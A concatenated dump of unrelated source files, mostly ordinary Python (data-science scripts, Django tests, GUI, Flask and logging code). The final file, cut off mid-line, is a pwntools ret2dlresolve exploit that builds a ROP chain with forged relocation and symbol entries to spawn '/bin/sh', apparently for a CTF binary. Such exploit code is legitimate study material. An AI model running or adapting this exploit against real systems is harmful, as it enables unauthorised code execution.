k):\n\n path_eif = './EIF_SIF_Result/ensemble_result/' + filename + \"_Ensemble_result_data.xlsx\"\n pd_data = pd.read_excel(path_eif, index_col=0)\n\n # raw data is sorted by negative ranking ascendingly, so the normal data, which has smaller negative ranking, was on top.\n # here we sort it descendingly, so that the anomaly, which has larger negative ranking will be on top\n pd_data_sorted_eif_by_average_rank = pd_data.sort_values(by=\"Average_Rank\", ascending=False).reset_index(\n drop=True)\n\n\n if k >= pd_data_sorted_eif_by_average_rank.shape[0]:\n k = pd_data_sorted_eif_by_average_rank.shape[0]\n\n if k < 1 and k > 0:\n k = int(pd_data_sorted_eif_by_average_rank.shape[0] * k)\n confusion = pd_data_sorted_eif_by_average_rank.loc[0:k - 1, \"label\"]\n else:\n confusion = pd_data_sorted_eif_by_average_rank.loc[0:k - 1, \"label\"]\n\n TP = confusion[confusion == 1].shape[0]\n FP = confusion[confusion == 0].shape[0]\n\n precision_at_k = 0\n\n if TP != 0 or FP != 0:\n precision_at_k = TP / (TP + FP)\n\n return precision_at_k\n\n\ndataset_names = [\"foresttype\",\"http\",\"annthyroid\", \"cardio\", \"ionosphere\", \"mammography\", \"satellite\", \"shuttle\", \"thyroid\", \"smtp\",\n \"satimage-2\", \"pendigits\"]\n\ndataset_types = [\"origin\", \"copula_0.0625\", \"copula_0.25\", \"copula_1\", \"copula_4\", \"copula_16\", \"10BIN\", \"15BIN\"]\nalgo_types = [\"log_pseudolikelihood\", \"ordered_log_prob\"]\n\n# parameter for traing the forest\nnumber_of_trees = 500\nsubsample_size = 256\nextensionLevel = \"full\"\n# k_list = [0.1, 100, 500, 1000]\nk_list = [0.1]\ndataset_name_list = []\ndataset_type_list = []\nprecisio_list = []\nalgo_list = []\nk_para_list = []\n\nfor dataset_name in dataset_names:\n for k in k_list:\n precision_rank = calculate_PrecisionAtK_eif_sif_ensemble_rank(filename=dataset_name,\n k=k)\n dataset_name_list.append(dataset_name)\n dataset_type_list.append(\"ensemble\")\n algo_list.append(\"ensemble\")\n precisio_list.append(precision_rank)\n k_para_list.append(k)\n\n for dataset_type in dataset_types:\n\n precision_e = calculate_PrecisionAtK_eif(filename=dataset_name, number_of_trees=number_of_trees,\n subsample_size=subsample_size, extensionLevel=extensionLevel,\n dataset_type=dataset_type, k=k)\n dataset_name_list.append(dataset_name)\n dataset_type_list.append(dataset_type)\n algo_list.append(\"EIF\")\n precisio_list.append(precision_e)\n k_para_list.append(k)\n\n precision_s = calculate_PrecisionAtK_sif(filename=dataset_name, number_of_trees=number_of_trees,\n subsample_size=subsample_size, extensionLevel=0,\n dataset_type=dataset_type, k=k)\n dataset_name_list.append(dataset_name)\n dataset_type_list.append(dataset_type)\n algo_list.append(\"SIF\")\n precisio_list.append(precision_s)\n k_para_list.append(k)\n\n if dataset_type in [\"10BIN\", \"15BIN\"]:\n precision_pse = calculate_PrecisionAtK_chord(filename=dataset_name, dataset_type=dataset_type, algo_type = \"log_pseudolikelihood\", k=k)\n\n dataset_name_list.append(dataset_name)\n dataset_type_list.append(dataset_type)\n algo_list.append(\"log_pseudolikelihood\")\n precisio_list.append(precision_pse)\n k_para_list.append(k)\n\n precision_chord = calculate_PrecisionAtK_chord(filename=dataset_name,\n dataset_type=dataset_type,\n algo_type=\"ordered_log_prob\", k=k)\n\n dataset_name_list.append(dataset_name)\n dataset_type_list.append(dataset_type)\n algo_list.append(\"ordered_log_prob\")\n precisio_list.append(precision_chord)\n k_para_list.append(k)\n\n\npd_eif_result = pd.DataFrame(\n {\"dataset_name\": dataset_name_list, \"data_type\": dataset_type_list, \"algo_name\": algo_list, \"K\": k_para_list,\n \"Precision\": precisio_list})\npd_eif_result.to_excel(\"./EIF_SIF_Result/Precision_at_K_IR_EIF_SIF_ensemble_more.xlsx\")\n","sub_path":"IsolaionForest/tool_Precision_at_K_IR_ver.py","file_name":"tool_Precision_at_K_IR_ver.py","file_ext":"py","file_size_in_byte":8066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"160221123","text":"from collections import namedtuple\nfrom django.test import TestCase\nfrom core.forms import TransactionsFileForm\n\nTextRepetitions = namedtuple(\"TextRepetitions\", (\"text\", \"count\"))\n\n\nclass TestMainFormPage(TestCase):\n def setUp(self):\n self.response = self.client.get(\"/\")\n\n def test_get_main_page_has_status_code_200(self):\n self.assertEquals(200, self.response.status_code)\n\n def test_get_main_page_template(self):\n template = \"financial_transactions.html\"\n self.assertTemplateUsed(self.response, template)\n\n def test_get_main_page_title(self):\n espected_title = \"Inserir movimentações financeiras\"\n tag_title = f\"{espected_title}\"\n self.assertContains(self.response, tag_title)\n\n def test_has_form(self):\n \"\"\"Context must have FinancialTransactions form\"\"\"\n self.assertIsInstance(self.response.context[\"form\"], TransactionsFileForm)\n\n def test_html(self):\n texts_in_html = (\n TextRepetitions(text=\"0 and locationId<371:\n istatus = 72030\n ilocationId = 340\n n1 += 1\n conn.update(\"update corporate set ipoStatus=%s, ipoLocation=%s where id=%s\", istatus,\n ilocationId, corporate_id)\n elif locationId >=371:\n istatus = 72030\n ilocationId = 421\n n2 += 1\n conn.update(\"update corporate set ipoStatus=%s, ipoLocation=%s where id=%s\", istatus,\n ilocationId, corporate_id)\n else:\n n += 1\n logger.info(\"wrong corporate:%s|%s|%s\",corporate_id, company[\"name\"], company[\"code\"])\n else:\n n += 1\n logger.info(\"wrong corporate:%s|%s|%s\", corporate_id, company[\"name\"], company[\"code\"])\n\n else:\n pass\n conn.close()\n\nif __name__ == '__main__':\n logger.info(\"Begin...\")\n conn = db.connect_torndb()\n # cs = conn.query(\"select id from corporate where (active is null or active !='N') and ipoStatus is null order by id\")\n #cs = conn.query(\"select id from company where code='ejiajie'\")\n cs = conn.query(\"select distinct corporateId from funding where (active is null or active !='N') \"\n \"and round in (1105,1110)\")\n conn.close()\n n = 0\n n1 = 0\n n2 = 0\n\n for c in cs:\n # company_id= c[\"id\"]\n corporate = conn.get(\"select * from corporate where id=%s and (active is null or active !='N') \"\n \"and ipoStatus is null\", c[\"corporateId\"])\n if corporate is None: continue\n\n corporate_id = c[\"corporateId\"]\n process2(corporate_id)\n\n logger.info(\"End.%s/%s/%s\",n1,n2,n)","sub_path":"data/spider2/aggregator/funding/patch_company_round.py","file_name":"patch_company_round.py","file_ext":"py","file_size_in_byte":3786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"85980927","text":"from __future__ import unicode_literals\n\nfrom django.db import models\n\n\nclass Event(models.Model):\n day = models.DateField(u'Day of the event', help_text=u'Day of the event')\n start_time = models.TimeField(u'Starting time', help_text=u'Starting time')\n end_time = models.TimeField(u'Final time', help_text=u'Final time')\n notes = models.TextField(u'Textual Notes', help_text=u'Textual Notes', blank=True, null=True)\n\n class Meta:\n verbose_name = u'Scheduling'\n verbose_name_plural = u'Scheduling'\n","sub_path":"Django Project/events/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"585859842","text":"import base64, sys\r\nimport handle_db\r\nfrom tkinter import *\r\nimport tkinter as tk\r\nimport icons_base64 as sm\r\nfrom tkinter import messagebox\r\nfrom tkinter import ttk\r\n\r\nkeepsafe_ico = sm.MAIN_ICOTXT\r\naddbutton = sm.ICO_ADD\r\nmodifybtn = sm.ICO_MODIFY\r\ndeletebtn = sm.ICO_DEL\r\ninfobtn = sm.ICO_INFO\r\nclosebtn = sm.ICO_CLOSE\r\n\r\nheight=610 \r\nwidth=805\r\nbars = 'grey'\r\nmainColor = '#212731'\r\nwindows = tk.Tk()\r\nwindows.title('KeepSafe - Password Manager')\r\n\r\nscreen_width = windows.winfo_screenwidth()\r\nscreen_height = windows.winfo_screenheight()\r\n\r\nx = int((screen_width/2) - (width/2))\r\ny = int((screen_height/2) - (height/2))\r\n\r\nwindows.geometry(\"{}x{}+{}+{}\".format(width, height, x, y))\r\nwindows.config(bg='#A9A9A9')\r\nwindows.resizable(False, False)\r\nroot=Frame(windows, height=height, width=width, highlightthickness=0, bg=mainColor)\r\nroot.place(x=0,y=0)\r\nB = Frame(root, height=25, width=width, bg=bars)\r\nB.place(x=0, y=height-25)\r\n\r\n\r\ndef getICONS(icon):\r\n base64_img_bytes = icon.encode('utf-8')\r\n decoded_image_data = base64.decodebytes(base64_img_bytes)\r\n ico = PhotoImage(data=decoded_image_data)\r\n return ico\r\n\r\ndef close():\r\n sys.exit()\r\n\r\n#-------------------------------------------------------------------------------------\r\n#Title Frame\r\nTitleFrame = Frame(root, height=70, width=200, bg=mainColor, highlightthickness=0)\r\nTitleFrame.place(x=10,y=0)\r\nico1 = getICONS(keepsafe_ico)\r\nhead = Label(TitleFrame, image=ico1, borderwidth=0)\r\nhead.place(x=5,y=5)\r\n\r\n#-------------------------------------------------------------------------------------\r\n#Action Frame\r\nAC_text = \"#ffffff\"\r\nactionFrame = Frame(root, height=70, width=350, bg=mainColor, highlightthickness=0)\r\nactionFrame.place(x=350, y=10)\r\nicoadd = getICONS(addbutton)\r\nicoedit = getICONS(modifybtn)\r\nicodel = getICONS(deletebtn)\r\nicoinfo = getICONS(infobtn)\r\nicoclose = getICONS(closebtn)\r\naddbtnFrame = Frame(actionFrame, height=70, width=50, bg=mainColor)\r\naddbtnFrame.place(x=0,y=0)\r\naddbtn = Button(addbtnFrame, image=icoadd, bg=mainColor,activebackground=mainColor, borderwidth=0)\r\naddbtn.place(x=4,y=0)\r\naddbtntxt = Label(addbtnFrame, text=\"Add\", bg=mainColor, fg=AC_text)\r\naddbtntxt.place(x=10,y=45)\r\neditbtnFrame = Frame(actionFrame, height=70, width=50, bg=mainColor)\r\neditbtnFrame.place(x=70,y=0)\r\neditbtn = Button(editbtnFrame, image=icoedit, bg=mainColor,activebackground=mainColor, borderwidth=0)\r\neditbtn.place(x=4,y=0)\r\neditbtntxt = Label(editbtnFrame, text=\"Modify\", bg=mainColor, fg=AC_text)\r\neditbtntxt.place(x=3,y=45)\r\ndelbtnFrame = Frame(actionFrame, height=70, width=50, bg=mainColor)\r\ndelbtnFrame.place(x=140,y=0)\r\ndelbtn = Button(delbtnFrame, image=icodel, bg=mainColor,activebackground=mainColor, borderwidth=0)\r\ndelbtn.place(x=4,y=0)\r\ndelbtntxt = Label(delbtnFrame, text=\"Delete\", bg=mainColor, fg=AC_text)\r\ndelbtntxt.place(x=5,y=45)\r\ninfo_btnFrame = Frame(actionFrame, height=70, width=50, bg=mainColor)\r\ninfo_btnFrame.place(x=210,y=0)\r\ninfo_btn = Button(info_btnFrame, image=icoinfo, bg=mainColor,activebackground=mainColor, borderwidth=0)\r\ninfo_btn.place(x=4,y=0)\r\ninfo_btntxt = Label(info_btnFrame, text=\"Info\", bg=mainColor, fg=AC_text)\r\ninfo_btntxt.place(x=10,y=45)\r\nclose_btnFrame = Frame(actionFrame, height=70, width=50, bg=mainColor)\r\nclose_btnFrame.place(x=280,y=0)\r\nclose_btn = Button(close_btnFrame, image=icoclose, bg=mainColor,activebackground=mainColor, borderwidth=0, command=close)\r\nclose_btn.place(x=4,y=0)\r\nclose_btntxt = Label(close_btnFrame, text=\"Close\", bg=mainColor, fg=AC_text)\r\nclose_btntxt.place(x=8,y=45)\r\n\r\n#-------------------------------------------------------------------------------------\r\n# LEFT FRAME\r\nleftframe = Frame(root, height=507, width=230)\r\nleftframe.place(x=0, y=80)\r\n# Listbox Frame\r\nG = Frame(leftframe, height=27, width=230, bg=bars)\r\nG.place(x=0,y=0)\r\n#leftframelistboxText = Label(leftframe, text='All Items', font=('Franklin Gothic Medium', 12))\r\n#leftframelistboxText.place(x=50,y=50)\r\nleftframelistboxFrame = Frame(leftframe, height=425, width=222)\r\nleftframelistboxFrame.place(x=0, y=90)\r\n# ListBox\r\nleftframelistbox = Listbox(leftframelistboxFrame, height=26, width=34, borderwidth=0, bg='#f0f0f0')\r\nleftframelistbox.pack(side='left', fill='y')\r\n# Scrollbar\r\nleftframelistboxscroll = Scrollbar(leftframelistboxFrame, orient='vertical')\r\nleftframelistboxscroll.pack(side='right', fill='y')\r\n\r\n#-------------------------------------------------------------------------------------\r\n# Right Frame\r\nrightframe = Frame(root, height=508, width=width-232, bg='grey')\r\nrightframe.place(x=230, y=80)\r\n# Listbox Frame\r\nrightframelistboxFrame = Frame(rightframe, height=500, width=width-232)\r\nrightframelistboxFrame.place(x=0, y=27)\r\n# ListBox\r\nrightframelistbox = Listbox(rightframelistboxFrame, height=30, width=92, borderwidth=0, bg='#f0f0f0')\r\nrightframelistbox.pack(side='left', fill='y')\r\n# Scrollbar\r\nrightframelistboxscroll = Scrollbar(rightframelistboxFrame, orient='vertical')\r\nrightframelistboxscroll.pack(side='right', fill='y')\r\n\r\n\r\nwindows.mainloop()\r\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"635131002","text":"import logging\n\nimport numpy as np\nimport pandas as pd\nfrom copulas.multivariate import GaussianMultivariate\n\nLOGGER = logging.getLogger(__name__)\n\nIGNORED_DICT_KEYS = ['fitted', 'distribution', 'type']\n\n\nclass Modeler:\n \"\"\"Modeler class.\n\n The Modeler class applies the CPA algorithm recursively over all the tables\n from the dataset.\n\n Args:\n metadata (Metadata):\n Dataset Metadata.\n model (type):\n Class of model to use. Defaults to ``copulas.multivariate.GaussianMultivariate``.\n model_kwargs (dict):\n Keyword arguments to pass to the model. Defaults to ``None``.\n \"\"\"\n\n def __init__(self, metadata, model=GaussianMultivariate, model_kwargs=None):\n self.models = dict()\n self.metadata = metadata\n self.model = model\n self.model_kwargs = dict() if model_kwargs is None else model_kwargs\n\n @classmethod\n def _flatten_array(cls, nested, prefix=''):\n \"\"\"Flatten an array as a dict.\n\n Args:\n nested (list, numpy.array):\n Iterable to flatten.\n prefix (str):\n Name to append to the array indices. Defaults to ``''``.\n\n Returns:\n dict:\n Flattened array.\n \"\"\"\n result = dict()\n for index in range(len(nested)):\n prefix_key = '__'.join([prefix, str(index)]) if len(prefix) else str(index)\n\n if isinstance(nested[index], (list, np.ndarray)):\n result.update(cls._flatten_array(nested[index], prefix=prefix_key))\n\n else:\n result[prefix_key] = nested[index]\n\n return result\n\n @classmethod\n def _flatten_dict(cls, nested, prefix=''):\n \"\"\"Flatten a dictionary.\n\n This method returns a flatten version of a dictionary, concatenating key names with\n double underscores.\n\n Args:\n nested (dict):\n Original dictionary to flatten.\n prefix (str):\n Prefix to append to key name. Defaults to ``''``.\n\n Returns:\n dict:\n Flattened dictionary.\n \"\"\"\n result = dict()\n\n for key, value in nested.items():\n prefix_key = '__'.join([prefix, str(key)]) if len(prefix) else key\n\n if key in IGNORED_DICT_KEYS and not isinstance(value, (dict, list)):\n continue\n\n elif isinstance(value, dict):\n result.update(cls._flatten_dict(value, prefix_key))\n\n elif isinstance(value, (np.ndarray, list)):\n result.update(cls._flatten_array(value, prefix_key))\n\n else:\n result[prefix_key] = value\n\n return result\n\n @staticmethod\n def _impute(data):\n for column in data:\n column_data = data[column]\n if column_data.dtype in (np.int, np.float):\n fill_value = column_data.mean()\n else:\n fill_value = column_data.mode()[0]\n\n data[column] = data[column].fillna(fill_value)\n\n return data\n\n def _fit_model(self, data):\n \"\"\"Fit a model to the given data.\n\n Args:\n data (pandas.DataFrame):\n Data to fit the model to.\n\n Returns:\n model:\n Instance of ``self.model`` fitted with data.\n \"\"\"\n data = self._impute(data)\n model = self.model(**self.model_kwargs)\n model.fit(data)\n\n return model\n\n def _get_model_dict(self, data):\n \"\"\"Fit and serialize a model and flatten its parameters into an array.\n\n Args:\n data (pandas.DataFrame):\n Data to fit the model to.\n\n Returns:\n dict:\n Flattened parameters for the fitted model.\n \"\"\"\n model = self._fit_model(data)\n\n values = list()\n triangle = np.tril(model.covariance)\n\n for index, row in enumerate(triangle.tolist()):\n values.append(row[:index + 1])\n\n model.covariance = np.array(values)\n for distribution in model.distribs.values():\n if distribution.std is not None:\n distribution.std = np.log(distribution.std)\n\n return self._flatten_dict(model.to_dict())\n\n def _get_extension(self, child_name, child_table, foreign_key):\n \"\"\"Generate list of extension for child tables.\n\n Each element of the list is generated for one single children.\n That dataframe should have as ``index.name`` the ``foreign_key`` name, and as index\n it's values.\n\n The values for a given index are generated by flattening a model fitted with\n the related data to that index in the children table.\n\n Args:\n parent (str):\n Name of the parent table.\n children (set[str]):\n Names of the children.\n tables (dict):\n Previously processed tables.\n Returns:\n pandas.DataFrame\n \"\"\"\n extension_rows = list()\n foreign_key_values = child_table[foreign_key].unique()\n child_table = child_table.set_index(foreign_key)\n for foreign_key_value in foreign_key_values:\n child_rows = child_table.loc[[foreign_key_value]]\n num_child_rows = len(child_rows)\n row = self._get_model_dict(child_rows)\n row['child_rows'] = num_child_rows\n\n row = pd.Series(row)\n row.index = '__' + child_name + '__' + row.index\n extension_rows.append(row)\n\n return pd.DataFrame(extension_rows, index=foreign_key_values)\n\n def cpa(self, table_name, tables, foreign_key=None):\n \"\"\"Run the CPA algorithm over the indicated table and its children.\n\n Args:\n table_name (str):\n Name of the table to model.\n tables (dict):\n Dict of tables tha have been already modeled.\n foreign_key (str):\n Name of the foreign key that references this table. Used only when applying\n CPA on a child table.\n\n Returns:\n pandas.DataFrame:\n table data with the extensions created while modeling its children.\n \"\"\"\n LOGGER.info('Modeling %s', table_name)\n\n if tables:\n table = tables[table_name]\n else:\n table = self.metadata.load_table(table_name)\n\n extended = self.metadata.transform(table_name, table)\n\n primary_key = self.metadata.get_primary_key(table_name)\n if primary_key:\n extended.index = table[primary_key]\n for child_name in self.metadata.get_children(table_name):\n child_key = self.metadata.get_foreign_key(table_name, child_name)\n child_table = self.cpa(child_name, tables, child_key)\n extension = self._get_extension(child_name, child_table, child_key)\n extended = extended.merge(extension, how='left',\n right_index=True, left_index=True)\n extended['__' + child_name + '__child_rows'].fillna(0, inplace=True)\n\n self.models[table_name] = self._fit_model(extended)\n\n if primary_key:\n extended.reset_index(inplace=True)\n\n if foreign_key:\n extended[foreign_key] = table[foreign_key]\n\n return extended\n\n def model_database(self, tables=None):\n \"\"\"Run CPA algorithm on all the tables of this dataset.\n\n Args:\n tables (dict):\n Optional. Dictinary containing the tables of this dataset.\n If not given, the tables will be loaded using the dataset\n metadata specification.\n \"\"\"\n for table_name in self.metadata.get_tables():\n if not self.metadata.get_parents(table_name):\n self.cpa(table_name, tables)\n\n LOGGER.info('Modeling Complete')\n","sub_path":"sdv/modeler.py","file_name":"modeler.py","file_ext":"py","file_size_in_byte":7946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"555377160","text":"#!/usr/bin/python\n# -*- codding: utf-8 -*-\nimport os\nimport sys\nsys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))\nfrom common.execute_command import write_two_parameter\n\n# url : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/logs/create-log-stream.html\nif __name__ == '__main__':\n \"\"\"\n\tdelete-log-stream : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/logs/delete-log-stream.html\n\tdescribe-log-streams : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/logs/describe-log-streams.html\n \"\"\"\n\n parameter_display_string = \"\"\"\n # log-group-name : The name of the log group.\n # log-stream-name : The name of the log stream.\n \"\"\"\n add_option_dict = {}\n add_option_dict[\"parameter_display_string\"] = parameter_display_string\n # ex: add_option_dict[\"no_value_parameter_list\"] = \"--single-parameter\"\n write_two_parameter(\"logs\", \"create-log-stream\", \"log-group-name\", \"log-stream-name\", add_option_dict)\n","sub_path":"logs_write_2/log-stream_create.py","file_name":"log-stream_create.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"363667648","text":"# Programme by parth.py\r\n# Python program to remove Nth occurrence of the given word\r\n\r\ndef fun(n):\r\n lst = [\"parth\",\"patel\",\"number\"]\r\n lst.pop(n)\r\n print(lst)\r\n\r\nfun(0)\r\n\r\n\"\"\"\r\noutput:\r\n['patel','number']\r\n\"\"\"\r\n","sub_path":"list Python program to remove Nth occurrence of the given word.py","file_name":"list Python program to remove Nth occurrence of the given word.py","file_ext":"py","file_size_in_byte":222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"256571445","text":"import numpy as np\nimport collections\nimport cv2\nimport time\n\n\nclass Circlerecognizer():\n\tdef __init__(self):\n\t\tself.circles_rating = collections.defaultdict(int)\n\n\tdef viewImage(self, image, window : str):\n\t\tcv2.namedWindow(window, cv2.WINDOW_NORMAL)\n\t\tcv2.imshow(window, image)\n\t\tcv2.waitKey(0)\n\t\tcv2.destroyAllWindows()\n\n\tdef circle_recognise(self, image):\n\t\toutput = image.copy()\n\t\tcircles = self.get_circles(image)\n\t\tif (circles is not None) :\n\t\t\tcircles = np.round(circles[0, :]).astype(\"int\")\n\t\t\tfor (x, y, r) in circles:\n\t\t\t\tx, y, r = x.item(), y.item(), r.item()\n\t\t\t\tcv2.circle(output, (x, y), r, (0, 255, 0), 4)\n\t\t\t\tprint(f'Circle has been detected! x = {x}p, y = {y}p, r = {r}p')\n\t\t\t\tcir = f'{x}, {y}, {r}'\n\t\t\t\tself.circles_rating[cir] += 1\n\t\telse:\n\t\t\tprint('Circles haven\\'t been found')\n\t\treturn dict(self.circles_rating), output\n\n\tdef get_circles(self, image):\n\t\tgray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\t\tgray = cv2.GaussianBlur(gray, (5, 5), 0)\n\t\tcircles = cv2.HoughCircles(image=gray, method=cv2.HOUGH_GRADIENT, dp=2, minDist=22, minRadius=25, maxRadius=32)\n\t\treturn circles\n\n\tdef showOneCircle(self, x, y, r=29):\n\t\timg = cv2.imread('e2.jpg')\n\t\timg = img.copy()\n\t\tcv2.circle(img, (int(x), int(y)), r, (0, 0, 255), 4)\n\t\tcv2.imshow('frame2', img)\n\t\tcv2.waitKey(1)\n\t\ttime.sleep(1)\n","sub_path":"circlerecognizer.py","file_name":"circlerecognizer.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"28874857","text":"import cv2\nimport numpy as np\n\nimport imagezmq.imagezmq as imagezmq\n\nHOST = 'localhost'\nPORT = 27427\n\n\ndef main():\n\timage1 = np.zeros((400, 400, 3), dtype='uint8')\n\tgreen = (0, 255, 0)\n\tcv2.rectangle(image1, (50, 50), (300, 300), green, 40)\n\t# A red square on a black background\n\timage2 = np.zeros((400, 400, 3), dtype='uint8')\n\tred = (0, 0, 255)\n\tcv2.rectangle(image2, (100, 100), (350, 350), red, 40)\n\n\tsender = imagezmq.ImageSender(connect_to=\"tcp://{}:{}\".format(HOST, PORT))\n\twhile True: # press Ctrl-C to stop images sending program\n\t\tsender.send_image(\"TEST CLIENT\", image1)\n\t\tprint(image1.shape)\n\t\tsender.send_image(\"TEST CLIENT\", image2)\n\t\t# time.sleep(1)\n\n\nif __name__ == '__main__':\n\n\ttry:\n\t\tmain()\n\texcept KeyboardInterrupt:\n\t\tprint(\"Exitting\")\n","sub_path":"test/image_sender.py","file_name":"image_sender.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"413071729","text":"#Setting list of correct answers\nanswers = ['b','d','a','a','c','a','b','a','c','d','b','c','d','a','d','c','c','b','d','a']\n\ndef main():\n #Getting filename from input for filename\n filename = input('Provide the file name of the test:\\n')\n #Reads the file of filename \n f = open(filename, 'r')\n #Recording file contents in array\n contents = f.readlines()\n incorrect = []\n total = 0\n total = int(gradeTest(contents,answers,incorrect))\n scoreTest(total,incorrect)\n \ndef gradeTest(test,answers,incorrect):\n total = 0\n for i in range(len(answers)):\n if test[i].lower().rstrip('\\n') == answers[i].lower():\n total += 1\n else:\n incorrect.append(i+1)\n return total\n\ndef scoreTest(total,incorrect):\n if total/len(answers) >= 0.75:\n print('You passed!')\n print('You got {} of {} correct.'.format(total,len(answers)))\n else:\n print('You failed!')\n print('You got {} of {} correct.'.format(total,len(answers)))\n print('Questions missed: ', incorrect)\n \nmain()\n","sub_path":"LABS/List-Tuple/list-tupl-license.py","file_name":"list-tupl-license.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"637940574","text":"import time\nfrom hero import Hero\n\n\nclass Menu:\n\n def welcome_screen(self):\n print(\"\"\" ____________________________\n Welcome to my Text based RPG\n Loading. Please wait.\n \"\"\")\n time.sleep(1)\n\n\n def menu_screen(self):\n while True:\n print(\"\"\"\n RPG! \n 1. Start a new game\n 3. Exit\n \"\"\")\n choice = input(\"Go ahead 1 or 2 . Then Press Enter> \")\n if choice == \"1\":\n return Hero.hero_creator()\n if choice == \"2\":\n exit()\n else:\n pass\n\n","sub_path":"menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"295353568","text":"from flask import render_template, Blueprint\nfrom flask import send_from_directory, abort\n\nfrom app import app\nfrom app.models import *\nfrom app.models.decodings import Decoding\nfrom app.models.collections import Collection\nfrom app.initializers.settings import *\n\nfrom sqlalchemy import *\n\nimport os\n\ncomponents_blueprint = Blueprint(\n 'component',\n __name__,\n url_prefix='/component')\n\n\n@components_blueprint.route('/')\ndef select_component(component_uuid):\n \"\"\" Fetch Component from Decoding table \"\"\"\n component = Decoding.query.filter_by(uuid=component_uuid).first()\n if component is None:\n abort(404)\n\n filename = os.path.join(\n DECODING_RESULTS_DIR,\n component.collection,\n component.filename + '.txt')\n terms = get_terms(filename)\n\n collection = Collection.query.filter_by(name=component.collection)\n collection = collection.first()\n\n return render_template(\n \"components/selected_component.html\",\n selected_component=component,\n collection=collection,\n terms=terms)\n\n\ndef get_terms(filename):\n \"\"\" Fetch terms and correlation from text file \"\"\"\n terms = []\n with open(filename, 'r') as f:\n for line in f:\n termPair = line.split('\\t')\n termPair[1] = termPair[1].strip('\\n')\n terms.append(termPair)\n\n return terms\n\n\n@app.route('/data/images/processed//')\ndef load_component(collection, file_name):\n \"\"\" Fetch Component from Processed Image folder \"\"\"\n return send_from_directory(\n os.path.join(PROCESSED_IMAGE_DIR, collection),\n file_name,\n as_attachment=True)\n\n\n@app.route('/data/images/processed//')\ndef component_directory(collection, file_name):\n \"\"\" Return path for Component \"\"\"\n return os.path.join(PROCESSED_IMAGE_DIR, collection, file_name)\n\n\n@app.route('/data/images/')\ndef load_brain_def(comp_name):\n \"\"\" Fetch Brain Definition from image folder \"\"\"\n return send_from_directory(\n IMAGE_DIR,\n comp_name,\n as_attachment=True)\n\n# Register blueprint\napp.register_blueprint(components_blueprint)\n","sub_path":"app/controllers/components.py","file_name":"components.py","file_ext":"py","file_size_in_byte":2208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"234608149","text":"# -*- coding:utf-8 -*-\nimport logging\nimport logging.handlers\nimport sys\n\n#LOG_LEVEL = logging.DEBUG\nLOG_FORMAT = '[%(asctime)s] %(funcName)s(%(filename)s:%(lineno)s) [%(levelname)s]:%(message)s'\n\nCONSOLE_FORMAT = '[%(levelname)s]:%(message)s'\n\nlog = logging.getLogger()\n\n\ndef create_log(log_file,level=30):\n global log\n\n log.setLevel(level)\n\n formatter = logging.Formatter(LOG_FORMAT)\n filehandler = logging.handlers.TimedRotatingFileHandler(log_file,when=\"D\",interval=1, backupCount=0, encoding=None, delay=False, utc=False)\n filehandler.setFormatter(formatter)\n log.addHandler(filehandler)\n\ndef console_log(level=10):\n global log\n\n log.setLevel(level)\n formatter = logging.Formatter(CONSOLE_FORMAT)\n consolehandler = logging.StreamHandler()\n consolehandler.setFormatter(formatter)\n log.addHandler(consolehandler)\n\nconsole_log = console_log\ncreate_log = create_log\n\ndef log_ex(msg=None):\n if msg:\n log.error(msg)\n excinfo = sys.exc_info()\n log.error(excinfo[0])\n log.error(excinfo[1])\n return excinfo","sub_path":"libs/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"299905699","text":"from pwn import *\n\nelf = ELF('test')\n\nstrTab = 0x804827c\nsymTab = 0x80481dc\nrelTab = 0x804833c\n\nplt0At = 0x8048380\nbssAt = 0x804a040\nbaseAt = bssAt + 0x500 \n\npppRet = 0x80485d9\npopEbpRet = 0x80485db \nleaveRet = 0x804854a \n\nreadPlt = elf.plt['read']\nreadGot = elf.got['read']\n\n\nnop = cyclic(0x28)\n\nrop1 = nop\nrop1 += cyclic(0x4)\nrop1 += p32(readPlt)\nrop1 += p32(pppRet)\nrop1 += p32(0)\nrop1 += p32(baseAt-4)\nrop1 += p32(0x100)\nrop1 += p32(popEbpRet)\nrop1 += p32(baseAt-4)\nrop1 += p32(leaveRet)\n\nrelloc_offset = baseAt + 4 + 4 + 4 + 4 + 4 - relTab\n\nsymAt = relTab + relloc_offset + 0x8\nalign = 0x10 - ((symAt-symTab)&0xf)\nsymAt = symAt + align\n\nr_sym = (symAt - symTab)/0x10\nr_info = (r_sym << 8) + 0x7\nfakeRel = p32(readGot) + p32(r_info)\n\nstrAt = symAt + 0x10\nst_name = strAt - strTab\n\nfakeSym = p32(st_name) + p32(0) + p32(0) + p32(0x12)\n\nargStr = '/bin/sh\\0'\nfuncStr = 